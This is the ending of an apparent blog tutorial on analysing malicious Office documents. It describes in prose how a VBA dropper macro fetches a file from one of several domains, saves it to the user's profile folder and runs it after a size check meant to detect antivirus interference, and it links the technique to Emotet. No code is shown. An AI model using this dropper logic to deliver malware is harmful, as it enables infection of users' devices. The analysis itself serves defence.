The script is attempting to download a file called 656 from one of the five different domains stored in the site list, it’s going to download the file into the users home directory (as defined by “userprofile“) and if the file is of a certain size (around 30MB) it’s going to attempt to invoke/execute. The reason for checking the file size is to see if the file downloaded successfully or was stopped by antivirus.

This kind of VBA script is what is known as a dropper, it’s sole purpose is to download addtional malware onto the users device. Using malcious macros embeded in Word document sent via emails is a technique used heavily by Emotet, a previliant malware campagin which in recent months has become a common way of spreading other malware.

Conclusion

That brings us to the end of this post. Hopefully, now you’ll have a better idea of how you can use open-source tools to analyse malicious office documents. Malicious documents attached in emails is still an effective and heavily used technique to spread malware.